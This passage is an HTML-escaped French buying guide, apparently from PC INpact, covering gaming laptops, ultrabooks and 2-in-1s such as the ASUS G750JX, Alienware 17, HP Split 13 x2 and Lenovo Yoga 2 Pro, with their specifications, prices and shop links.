+&lt;p&gt;Continuons avec le N56JR d'ASUS qui, comme nous vous l'avions indiqu&amp;eacute;&amp;nbsp;&lt;a href="http://www.pcinpact.com/news/80819-g750-a-decouverte-nouveau-transportable-pour-joueurs-dasus.htm" target="_blank"&gt;lors de notre prise en main du G750&lt;/a&gt;, se voit dot&amp;eacute; d'une GeForce GTX 760 et donc de vraies capacit&amp;eacute;s afin de vous permettre de jouer. Le constructeur qui gardait jusqu'ici ce type de puces pour ses portables de la s&amp;eacute;rie G, commence donc &amp;agrave; les mettre dans des machines nettement plus grand public.&lt;/p&gt;
+&lt;p&gt;[PDN]815568[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Car ici nous avons droit &amp;agrave; un portable en aluminium bross&amp;eacute; avec un &amp;eacute;cran de 15,6 pouces Full HD trait&amp;eacute; contre les reflets. Il est anim&amp;eacute; par un &lt;a href="http://ark.intel.com/fr/products/75116/intel-core-i7-4700hq-processor-6m-cache-up-to-3_40-ghz" target="_blank"&gt;Core i7 4700HQ&lt;/a&gt;, 8 Go de m&amp;eacute;moire vive ainsi qu'un disque dur de 750 Go. C&amp;ocirc;t&amp;eacute; connectique, on a droit &amp;agrave; quatre ports USB 3.0, une paire de sorties VGA et HDMI, un lecteur de cartes et deux prises jack de 3,5 mm pour l'audio. La partie audio n'est pas en reste puisque l'on a droit &amp;agrave; un kit 2.1 sign&amp;eacute; Bang &amp;amp; Olufsen avec un caisson de basses externe.&lt;/p&gt;
+&lt;h3&gt;Acer Aspire&amp;nbsp;V3-772G-747A8G1TBDWAKK : un peu plus de 1000 euros&lt;/h3&gt;
+&lt;p&gt;Encha&amp;icirc;nons avec l'Aspire V3 d'Acer qui est aussi un PC pour joueur alors que son look ext&amp;eacute;rieur ne laisse rien transpara&amp;icirc;tre. Il poss&amp;egrave;de un &amp;eacute;cran de 17,3 pouces dont la dalle mate affiche 1920 x 1080 pixels ainsi qu'une configuration suffisamment muscl&amp;eacute;e pour permettre de jouer. On retrouve ainsi un &lt;a href="http://ark.intel.com/products/75119/" target="_blank"&gt;Core i7 4702MQ&lt;/a&gt; (Haswell) d'Intel accompagn&amp;eacute; d'une GeForce GTX 760M avec 2 Go de GDDR5. 8 Go de m&amp;eacute;moire vive ainsi qu'un disque dur de 1 To sont de la partie, mais on regrette que ce dernier ne fonctionne qu'&amp;agrave; 5400 tpm.&lt;/p&gt;
+&lt;p&gt;[PDN]800974[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;C&amp;ocirc;t&amp;eacute; connectique, on dispose de deux ports USB 2.0, deux ports USB 3.0, une paire de prises pour le casque et le micro, un duo de sorties VGA et HDMI 1.4. La connectivit&amp;eacute; s'appuie sur du Wi-Fi 802.11n et du Bluetooth 4.0.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Son poids est plut&amp;ocirc;t mod&amp;eacute;r&amp;eacute; puisqu'il est question de 3,4 kg &amp;laquo; seulement &amp;raquo;, mais c'est une nouvelle fois son tarif qui pourrait &amp;ecirc;tre int&amp;eacute;ressant puisqu'il est propos&amp;eacute; sous les 1000 euros. Notez que si vous disposez d'un peu plus de budget, un autre mod&amp;egrave;le plus cher de &lt;a href="http://www.prixdunet.com/ordinateur-portable/acer-aspire-v3-772g-747a161-12tbdwakk-800974.html" target="_blank"&gt;120 euros&lt;/a&gt;, embarque 16 Go de m&amp;eacute;moire vive ainsi qu'un SSD de 120 Go.&lt;/p&gt;
+&lt;h3&gt;ASUS G750JX : pour jouer en silence&lt;/h3&gt;
+&lt;p&gt;Retournons chez ASUS avec le G750JX qui est l&amp;agrave; encore un portable de 17,3 pouces exploitant une dalle Full HD 1080p. Il est question d'un&amp;nbsp;&lt;a href="http://ark.intel.com/products/75116/" target="_blank"&gt;Core i7 4700HQ&lt;/a&gt; d'Intel coupl&amp;eacute; &amp;agrave; une GeForce GTX 770M de NVIDIA, mais dans un ch&amp;acirc;ssis un peu plus typ&amp;eacute; &amp;laquo; Gamer &amp;raquo;. Il a le bon go&amp;ucirc;t de rester silencieux, m&amp;ecirc;me lorsque la cavalerie se met en marche.&lt;/p&gt;
+&lt;p&gt;[PDN]822018[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Un disque dur de 750 Go &amp;agrave; 7200 tpm est de la partie tandis que la m&amp;eacute;moire vive est richement dot&amp;eacute;e puisque 16 Go sont int&amp;eacute;gr&amp;eacute;s. C&amp;ocirc;t&amp;eacute; connectique, c'est plut&amp;ocirc;t complet puisqu'on y retrouve quatre ports USB 3.0, dont un suraliment&amp;eacute; pour recharger les p&amp;eacute;riph&amp;eacute;riques, un trio de sorties vid&amp;eacute;o VGA, HDMI et miniDP, une paire de prises jack pour le casque et le micro, du Wi-Fi 802.11n et du Bluetooth 4.0.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Si vous disposez d'un peu plus de budget, ASUS propose le m&amp;ecirc;me ch&amp;acirc;ssis, mais avec&amp;nbsp;une GTX 780M avec 4 Go, &amp;agrave; partir de &lt;a href="http://www.prixdunet.com/s/4/G750JH.html" target="_blank"&gt;1600 euros&lt;/a&gt; environ avec, en plus, un stockage doubl&amp;eacute;.&lt;/p&gt;
+&lt;h3&gt;Alienware 17 : des options pour se faire plaisir&lt;/h3&gt;
+&lt;p&gt;Finissons par l'Alienware 17 de Dell, qui a subi de gros changements plut&amp;ocirc;t bienvenus, par rapport aux pr&amp;eacute;c&amp;eacute;dentes g&amp;eacute;n&amp;eacute;rations. Tout d'abord, l'&amp;eacute;cran recouvert d'une dalle de verre n'est plus, fini les reflets, la coque qui recouvre l'&amp;eacute;cran est maintenant en aluminium, le clavier gagne en confort de frappe. La configuration que nous retenons est la seconde qui est propos&amp;eacute;e &amp;agrave; &lt;a href="http://pdn.im/IdmNnv" target="_blank"&gt;1900 euros&lt;/a&gt;.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Bien entendu la configuration interne s'appuie sur un processeur Haswell, en l'occurrence un &lt;a href="http://ark.intel.com/products/75117/" target="_blank"&gt;Core i7 4700MQ&lt;/a&gt;, accompagn&amp;eacute; par 16 Go de m&amp;eacute;moire vive et d'une GeForce GTX 770M avec 3 Go de GDDR5. Si vous disposez d'un peu plus de budget, la GTX 780M est propos&amp;eacute;e en option pour 250 euros suppl&amp;eacute;mentaires.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/137758.jpeg" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-137758.jpeg" alt="Alienware 17" width="450" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;La partie stockage comprend par d&amp;eacute;faut un disque dur de 750 Go &amp;agrave; 7200 tpm, mais une fois encore en passant par le configurateur vous pouvez ajouter un SSD de 80 Go qui fera office de cache, pour un surco&amp;ucirc;t de 100 euros. Quoi qu'il, en soit une autre baie en 2,5 pouces sera disponible pour permettre une extension ult&amp;eacute;rieurement.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;La connectique est compl&amp;egrave;te puisque l'on dispose de quatre ports USB 3.0 dont un &amp;laquo; &lt;a href="http://www.dell.com/support/troubleshooting/an/en/andhs1/KCS/KcsArticles/ArticleView?c=an&amp;amp;l=en&amp;amp;s=dhs&amp;amp;docid=608993" target="_blank"&gt;PowerShare&lt;/a&gt; &amp;raquo;, un quatuor de prises jack pour l'audio, une paire de sorties miniDP et HDMI 1.4. Notez que cette derni&amp;egrave;re peut faire office d'entr&amp;eacute;e aussi pour y relier une console next-gen par exemple. Il embarque aussi une puce Wi-Fi 802.11ac et du Bluetooth 4.0 et bien entendu un port r&amp;eacute;seau Gigabit.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Enfin, Dell propose une option que certains pourraient appr&amp;eacute;cier : le choix du syst&amp;egrave;me d'exploitation de Microsoft. Si par d&amp;eacute;faut c'est Windows 8.1 (voir &lt;a href="http://www.pcinpact.com/dossier/722-tout-savoir-des-nouveautes-de-windows-8-1/1.htm" target="_blank"&gt;notre dossier&lt;/a&gt;) qui est propos&amp;eacute;, vous pouvez aussi s&amp;eacute;lectionner Windows 7.&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;Retrouver l'Alienware 17 de Dell :&amp;nbsp;&lt;a href="http://pdn.im/IdmNnv" target="_blank"&gt;&amp;agrave; partir de 1498 euros&lt;/a&gt;&lt;strong&gt;&lt;br /&gt;&lt;/strong&gt;&lt;/li&gt;
+&lt;/ul&gt;&lt;p&gt;Passons aux ordinateurs portables, Ultrabook et hybrides ou 2-en-1. Ces derniers sont d&amp;eacute;sormais l&amp;eacute;gion chez les constructeurs, ils apportent une flexibilit&amp;eacute; plus importante et se rapprochent des tablettes. Leurs &amp;eacute;crans sont d&amp;eacute;sormais d&amp;eacute;tachables ou rabattables &amp;agrave; l'arri&amp;egrave;re de la coque comme les &lt;a href="http://www.prixdunet.com/s/4/Yoga+Lenovo.html" target="_blank"&gt;Yoga de Lenovo&lt;/a&gt;, ce qui multiplie d'autant les usages possibles.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Ici il n'est plus question de machine &amp;agrave; consommer du contenu comme peuvent l'&amp;ecirc;tre les ardoises, mais v&amp;eacute;ritablement d'ordinateurs o&amp;ugrave; l'on peut travailler. Exit donc les syst&amp;egrave;mes d'exploitation mobiles comme Android et iOS, ici nous nous tournons plus vers Windows 8.1 (voir &lt;a href="http://www.pcinpact.com/dossier/722-tout-savoir-des-nouveautes-de-windows-8-1/1.htm" target="_blank"&gt;notre dossier&lt;/a&gt;) ou encore de &lt;a href="http://www.pcinpact.com/news/84069-mavericks-nouvel-osx-disponible-gratuitement-dans-mac-app-store.htm" target="_blank"&gt;OS X Mavericks&lt;/a&gt;. Nous n'oublions pas non plus les adeptes de Linux qui ont droit &amp;agrave; une machine d&amp;eacute;nu&amp;eacute;e d'OS afin d'installer la distribution de leur choix.&lt;/p&gt;
+&lt;h3&gt;ASUS Transformer Book T100TA : tablette et netbook li&amp;eacute;s &amp;agrave; une m&amp;ecirc;me cause&lt;/h3&gt;
+&lt;p&gt;Commen&amp;ccedil;ons avec le Transformer Book T100TA d'ASUS qui est l'une des bonnes surprises de cette fin d'ann&amp;eacute;e pour accompagner l'arriv&amp;eacute;e de Windows 8.1. On retrouve une tablette de 10,1 pouces avec un &amp;eacute;cran IPS affichant 1366 x 768 pixels. L'int&amp;eacute;rieur est propuls&amp;eacute; par un &lt;a href="http://ark.intel.com/products/76759/" target="_blank"&gt;Atom Z3740&lt;/a&gt; d'Intel, 2 Go de m&amp;eacute;moire vive et 32 ou 64 Go de Flash suivant le mod&amp;egrave;le. C&amp;ocirc;t&amp;eacute; connectique, on a droit &amp;agrave; un lecteur de cartes microSDHC, une sortie micro HDMI et une prise casque.&lt;/p&gt;
+&lt;p&gt;[PDN]821046[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;La station d'accueil comprend quant &amp;agrave; elle un clavier &amp;agrave; touches s&amp;eacute;par&amp;eacute;es ainsi qu'un port USB 3.0. Suivant la d&amp;eacute;clinaison retenue&amp;nbsp;un disque dur de 500 Go peut aussi prendre place. Sachez que Windows 8.1 laisse une empreinte non n&amp;eacute;gligeable, puisqu'il ne reste que 13,1 Go disponibles &amp;agrave; l'utilisateur sur la version de 32 Go.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Quoi qu'il en soit, cette machine est plut&amp;ocirc;t &amp;eacute;tonnante, r&amp;eacute;active et permet un double usage : la consultation en mode tablette et, avec sa station d'accueil, disposer d'un netbook.&lt;/p&gt;
+&lt;h3&gt;Acer Aspire V5-122p : clavier &amp;laquo; chiclet &amp;raquo; r&amp;eacute;tro&amp;eacute;clair&amp;eacute; et &amp;eacute;cran tactile &amp;agrave; moins de 400 &amp;euro;&lt;/h3&gt;
+&lt;p&gt;Continuons avec une machine un peu plus grande et donc un peu plus confortable : l'Acer&amp;nbsp;&lt;a href="http://www.prixdunet.com/s/4/V5-122p.html" target="_blank"&gt;Aspire V5-122p&lt;/a&gt;. Au format de 11,6 pouces, cet ultraportable embarque une configuration &amp;agrave; base d'AMD A4-1250 qui comprend deux c&amp;oelig;urs &amp;agrave; 1 GHz ainsi qu'une Radeon HD 8210G. Pour accompagner cet APU 4 Go de m&amp;eacute;moire vive ainsi qu'un disque dur de 500 Go sont de la partie.&lt;/p&gt;
+&lt;p&gt;[PDN]806452[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;L&amp;agrave; o&amp;ugrave; ce petit portable est int&amp;eacute;ressant est que son &amp;eacute;cran est tactile (1366 x 768 pixels) et son clavier &amp;laquo; chiclet &amp;raquo; est r&amp;eacute;tro&amp;eacute;clair&amp;eacute;, ce qui est relativement rare dans cette gamme de prix. De plus, son poids de 1,38 kg permet de l'embarquer un peu partout.&lt;/p&gt;
+&lt;h3&gt;HP Chromebook 14 : 330 euros avec 100 Go &amp;agrave; Google Drive inclus&lt;/h3&gt;
+&lt;p&gt;Enchainons sur le Chromebook 14 de HP qui est une machine basique sous Chrome OS et qui permettra &amp;agrave; ceux d'entre vous utilisant beaucoup les divers services de Google d'avoir une machine pr&amp;ecirc;te &amp;agrave; l'emploi. L'&amp;eacute;cran est assez conventionnels, puisqu'affichant 1366 x 768 pixels dans une diagonale de 14 pouces.&lt;/p&gt;
+&lt;p&gt;[PDN]821798[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;L'int&amp;eacute;rieur est plus int&amp;eacute;ressant puisque l'on retrouve un &lt;a href="http://ark.intel.com/products/75608/" target="_blank"&gt;Celeron 2955U&lt;/a&gt;&amp;nbsp;de la g&amp;eacute;n&amp;eacute;ration Haswell d'Intel, qui comprend deux c&amp;oelig;urs &amp;agrave; 1,4 GHz. On retrouve 2 Go de m&amp;eacute;moire vive ainsi qu'un SSD de 16 Go qui pourra &amp;ecirc;tre compl&amp;eacute;t&amp;eacute; par un lecteur de cartes microSDHC. De plus, 100 Go d'espace de stockage &amp;agrave; Google Drive sont inclus gratuitement pour une dur&amp;eacute;e de deux ans.&lt;/p&gt;
+&lt;p&gt;[PDN]823620[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Deux ports USB 3.0 et un en USB 2.0 ainsi qu'une sortie HDMI sont de la partie alors que Wi-Fi 802.11n et du Bluetooth 4.0 sont int&amp;eacute;gr&amp;eacute;s du c&amp;ocirc;t&amp;eacute; de la connectivit&amp;eacute;. Plusieurs coloris sont en outre disponible : &lt;a href="http://www.prixdunet.com/s/4/Hp+chromebook.html" target="_blank"&gt;blanc, rose ou vert&lt;/a&gt;.&lt;/p&gt;
+&lt;h3&gt;LDLC Aurore BS4-P3-4-S1 Slim, 14 pouces sans OS, pour avoir le choix&lt;/h3&gt;
+&lt;p&gt;Passons &amp;agrave; un ultra portable d&amp;eacute;pourvu de syst&amp;egrave;me d'exploitation avec l'Aurore de chez LDLC qui vous permettra d'installer l'OS de votre choix. Nous retenons l'un des mod&amp;egrave;les les plus &amp;eacute;conomiques, pourvu d'un &lt;a href="http://ark.intel.com/products/77404/" target="_blank"&gt;Pentium 3550M&lt;/a&gt;&amp;nbsp;(deux c&amp;oelig;urs &amp;agrave; 2,3 GHz) de la g&amp;eacute;n&amp;eacute;ration Haswell d'Intel et qui est accompagn&amp;eacute; par 4 Go de m&amp;eacute;moire vive ainsi qu'un SSD de 120 Go.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/139963.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-139963.png" alt="LDLC Aurore BS3" width="450" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Cette machine dispose d'un &amp;eacute;cran affichant 1366 x 768 pixels, d'une connectique incluant deux ports USB 3.0, d'un en USB 2.0 ainsi que d'une paire de sorties HDMI et VGA. L'autonomie maximale annonc&amp;eacute;e est de 5h30. Ainsi configur&amp;eacute;, le tarif est de&amp;nbsp;&lt;a href="http://pdn.im/1bUEqBx" target="_blank"&gt;469,95 euros&lt;/a&gt;, mais&amp;nbsp;si vous disposez d'un budget un peu plus important, vous pouvez aussi vous tourner vers le mod&amp;egrave;le &amp;eacute;quip&amp;eacute; d'un &lt;a href="http://ark.intel.com/products/75104/" target="_blank"&gt;Core i3 4000M&lt;/a&gt;. Vous pourrez alors&amp;nbsp;avoir un disque dur de 1 To au lieu du SSD pour &lt;a href="http://pdn.im/1bUF8yE" target="_blank"&gt;80 euros de plus&lt;/a&gt;.&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;Retrouver les configurations Aurore BS4 de LDLC&amp;nbsp;:&amp;nbsp;&lt;a href="http://pdn.im/1bUDJbb" target="_blank"&gt;&amp;agrave; partir de 399,95 euros&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;
+&lt;h3&gt;HP Split 13 x2 : d&amp;eacute;tachable &amp;agrave; souhait&lt;/h3&gt;
+&lt;p&gt;Continuons avec le Split 13 x2 de chez HP, un 2-en-1 d&amp;eacute;tachable de 13,3 pouces au tarif raisonnable : 749 euros. La configuration est plut&amp;ocirc;t l&amp;eacute;g&amp;egrave;re puisque constitu&amp;eacute;e d'un &lt;a href="http://ark.intel.com/products/75988/" target="_blank"&gt;Core i3 4010Y&lt;/a&gt;, de 4 Go de m&amp;eacute;moire vive ainsi que d'un SSD de 64 Go. L'&amp;eacute;cran tactile inclue une dalle IPS qui se limite &amp;agrave; du 1366 x 768 pixels.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/141119.jpeg" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-141119.jpeg" alt="HP Split x2" width="450" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Cette machine est notamment int&amp;eacute;ressante &amp;agrave; cause de sa double batterie : l'une au sein de la tablette, l'autre dans la station d'accueil. Cumul&amp;eacute;es, elles offrent une autonomie de pr&amp;egrave;s de dix heures. En outre, la finition semble au rendez-vous avec un rev&amp;ecirc;tement &amp;laquo; soft touch &amp;raquo; et la pr&amp;eacute;sence d'un clavier &amp;laquo; chiclet &amp;raquo; avec de larges touches. La connectique dispose d'un port USB 2.0, d'un USB 3.0, d'une sortie HDMI et d'un lecteur de cartes MicroSDHC.&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;Retrouver le Split 13 chez HP :&amp;nbsp;&lt;a href="http://pdn.im/IdkiRZ" target="_blank"&gt;749 euros&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;
+&lt;h3&gt;Dell Inspiron 15-7000 : &amp;eacute;cran full HD de 15,6 pouces et GeForce GT 750M&lt;/h3&gt;
+&lt;p&gt;Finissons cette s&amp;eacute;lection par l'Inspiron 15-7000 de Dell, qui n'est ni plus ni moins qu'un&amp;nbsp;&lt;a href="http://www.pcinpact.com/news/71931-dell-xps-15-portable-ivy-bridge.htm" target="_blank"&gt;XPS 15&lt;/a&gt;&amp;nbsp;de l'ann&amp;eacute;e derni&amp;egrave;re mis au go&amp;ucirc;t du jour. Du coup, on retrouve un ch&amp;acirc;ssis plut&amp;ocirc;t fin (22 mm) m&amp;eacute;langeant aluminium bross&amp;eacute; et mat&amp;eacute;riaux gomm&amp;eacute;s noir (Soft touch). La configuration que nous retenons est la &amp;laquo; Platinum &amp;raquo;&amp;nbsp;notamment &amp;agrave; cause son &amp;eacute;cran Full HD tactile.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/141256.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-141256.png" alt="Dell Inspiron 7000" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Du c&amp;ocirc;t&amp;eacute; de la configuration interne, on retrouve un&amp;nbsp;&lt;a href="http://ark.intel.com/products/75460/" target="_blank"&gt;Core i7 4500U,&lt;/a&gt;&amp;nbsp;8 Go de m&amp;eacute;moire vive, un disque dur de 1 To ainsi qu'une GeForce GT 750M avec 2 Go de GDDR5. La connectique est compl&amp;egrave;te puisque l'on retrouve quatre ports USB 3.0 dont un PowerShare, un lecteur de carte SDXC, une prise jack pour le casque et le micro, une sortie HDMI 1.4, ainsi qu'un port r&amp;eacute;seau gigabit. Du Bluetooth 4.0 et du Wi-Fi 802.11n compatible&amp;nbsp;&lt;a href="http://www.pcinpact.com/recherche?_search=WiDi" target="_blank"&gt;WiDi&lt;/a&gt;&amp;nbsp;sont aussi au programme.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Cet Inspiron 15-7000 Platinum est propos&amp;eacute; &amp;agrave; 979 euros et est bien entendu livr&amp;eacute; sous Windows 8.1. Notez que si vous souhaitez ce type de machine dans d'autres diagonales d'&amp;eacute;cran, ils sont aussi disponibles en 14 pouces (&amp;agrave; partir de&amp;nbsp;&lt;a href="http://pdn.im/IdlbtO" target="_blank"&gt;599 euros&lt;/a&gt;) ou 17 pouces (&amp;agrave; partir de&amp;nbsp;&lt;a href="http://pdn.im/IdldSp" target="_blank"&gt;829 euros&lt;/a&gt;).&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;Retrouver l'Inspiron 15-7000 sur le site de Dell :&lt;a href="http://pdn.im/IdlfK7" target="_blank"&gt;&amp;nbsp;&amp;agrave; partir de 749 euros&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;
+&lt;h3&gt;ASUS Transformer Book Trio : deux OS, deux produits, &amp;agrave; partir de 899 euros&lt;/h3&gt;
+&lt;p&gt;Passons &amp;agrave; un second Transformer Book chez ASUS : le Trio. Celui a la particularit&amp;eacute; d'avoir deux configurations au lieu d'une. En effet, au sein de l'&amp;eacute;cran - qui est une tablette tactile &amp;agrave; proprement parler - on dispose &amp;nbsp;d'un &amp;eacute;cran de 11,6 pouces Full HD 1080p, d'un Atom Z2760 de 2 Go de m&amp;eacute;moire vive, de 16 Go de flash et d'Android 4.2 (Jelly Bean). Un lecteur de cartes microSDHC, un port micro USB 2.0 prennent place alors deux capteurs photo / vid&amp;eacute;o sont aussi int&amp;eacute;gr&amp;eacute;s : 5 m&amp;eacute;gapixels &amp;agrave; l'arri&amp;egrave;re et 720p en fa&amp;ccedil;ade.&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;[PDN]815810[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;C&amp;ocirc;t&amp;eacute; station d'accueil, on retrouve un vrai un PC &amp;agrave; l'int&amp;eacute;rieur qui avec un&amp;nbsp;&lt;a href="http://ark.intel.com/products/75459/" target="_blank"&gt;Core i5 4200U&lt;/a&gt;,&amp;nbsp;4 Go de m&amp;eacute;moire vive et un stockage hybride comprenant 500 Go de disque dur et 16 Go de Flash faisant office de cache. Deux ports USB 3.0, une paire de sorties miniDP et micro HDMI ainsi qu'une prise jack sont de la partie.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Le principe de fonctionnement de cette machine est relativement simple : lorsque vous utilisez l'&amp;eacute;cran seul, vous &amp;ecirc;tes sous Android, et lorsque vous enfichez la tablette dans sa station d'accueil vous basculez sous Windows 8.1. Mais une troisi&amp;egrave;me possibilit&amp;eacute; existe, celle d'utiliser le dock directement sur un &amp;eacute;cran via la sortie micro HDMI.&lt;/p&gt;
+&lt;h3&gt;Sony VAIO Pro : plus l&amp;eacute;ger, il n'y a pas&lt;/h3&gt;
+&lt;p&gt;Passons &amp;agrave; un Ultrabook plus conventionnel de 13,3 pouces affichant 1,06 kg sur la balance, ainsi que 8 heures d'autonomie : le VAIO Pro de Sony. La marque propose ce que l'on attendait d'elle depuis des ann&amp;eacute;es &amp;agrave; savoir une machine jolie, fine et l&amp;eacute;g&amp;egrave;re (merci le carbone). Malgr&amp;eacute; ce poids plume, on retrouve un &amp;eacute;cran Full HD (1920 x 1080 pixels), un&amp;nbsp;&lt;a href="http://ark.intel.com/products/75459/" target="_blank"&gt;Core i5 4200U&lt;/a&gt;, 4 Go de m&amp;eacute;moire vive ainsi qu'un SSD de 128 Go.&lt;/p&gt;
+&lt;p&gt;[PDN]795206[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p id="TWP72" class="twUnmatched"&gt;On dispose d'un clavier r&amp;eacute;tro&amp;eacute;clair&amp;eacute; et d'une connectique comprenant deux ports USB 3.0 (dont un suraliment&amp;eacute; pour permettre la recharge de p&amp;eacute;riph&amp;eacute;riques), d'un lecteur de cartes SDHC et d'une sortie HDMI. La connectivit&amp;eacute; s'appuie quant &amp;agrave; elle sur du Wi-Fi 802.11n (compatible WiDi), du Bluetooth 4.0 ainsi qu'une puce NFC cach&amp;eacute;e dans le pav&amp;eacute; tactile.&lt;/p&gt;
+&lt;p class="twUnmatched"&gt;&lt;br /&gt;Si vous souhaitez personnaliser cette machine, il est possible de le faire via la boutique en ligne du constructeur. D&amp;egrave;s lors vous pourrez changer le SSD, augmenter la m&amp;eacute;moire ou encore opter pour un processeur un peu plus v&amp;eacute;loce.&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;Retrouver le VAIO Pro sur le site de Sony,&amp;nbsp;&lt;a href="http://pdn.im/18H7SvT" target="_blank"&gt;&amp;agrave; partir de 999 euros&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;
+&lt;h3&gt;Lenovo Yoga 2 Pro : &amp;eacute;cran qHD+, quatre positions et neuf heures d'autonomie&lt;/h3&gt;
+&lt;p&gt;Continuons avec le Yoga 2 Pro de Lenovo &amp;eacute;quip&amp;eacute; d'une dalle IGZO qHD+ affichant 3200 x 1800 pixels au compteur. Cette gamme de machines est tr&amp;egrave;s int&amp;eacute;ressante car son &amp;eacute;cran peut prendre diff&amp;eacute;rentes positions : classique en mode portable, mode chevalet (voir photo ci-dessous) ou encore en tablette lorsqu'il est plaqu&amp;eacute; contre la semelle du ch&amp;acirc;ssis.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/138235.jpeg" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-138235.jpeg" alt="Yoga 2 Pro" width="450" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;La configuration que nous avons retenue est &amp;eacute;quip&amp;eacute;e d'un &lt;a href="http://ark.intel.com/products/75459/" target="_blank"&gt;Core i5 4200&lt;/a&gt;, de 8 Go de m&amp;eacute;moire et d'un SSD de 256 Go. La connectique comprend quant &amp;agrave; elle un port USB 2.0, un USB 3.0, une sortie micro HDMI et un lecteur de cartes. L'autonomie annonc&amp;eacute;e est de neuf heures, le tout dans 1,5 kg, ce qui, pour une machine de 13,3 pouces, est plut&amp;ocirc;t pas mal.&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;Retrouver le Yoga 2 Pro chez Rue du Commerce :&amp;nbsp;&lt;a href="http://pdn.im/1fGEWIv" target="_blank"&gt;&amp;agrave; partir de 1232,94 euros&lt;/a&gt;&lt;/li&gt;
+&lt;li&gt;Retrouver le Yoga 2 Pro chez Top Achat :&amp;nbsp;&lt;a href="http://pdn.im/IdkGjs" target="_blank"&gt;&amp;agrave; partir de 1186,55 euros&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;
+&lt;h3&gt;Dell XPS 13 Developper Edition : Haswell &amp;amp; Ubuntu au programme&amp;nbsp;&lt;/h3&gt;
+&lt;p&gt;Passons au XPS 13 Developper Edition de Dell, qui est livr&amp;eacute; sous Ubuntu 12.04 LTS et qui v&lt;a href="http://www.pcinpact.com/news/84460-le-dell-xps-13-developer-edition-passe-a-haswell-a-partir-1299-euros.htm" target="_blank"&gt;ient de passer &amp;agrave; Haswell&lt;/a&gt;. &amp;Agrave; l'instar de la pr&amp;eacute;c&amp;eacute;dente mouture on a droit &amp;agrave; une dalle IPS affichant 1920 x 1080 pixels, mais tactile cette fois. C&amp;ocirc;t&amp;eacute; configuration, on retrouve un &lt;a href="http://ark.intel.com/products/75459/" target="_blank"&gt;Core i5 4200U&lt;/a&gt;, 8 Go de m&amp;eacute;moire vive ainsi qu'un SSD de 256 Go.&lt;/p&gt;
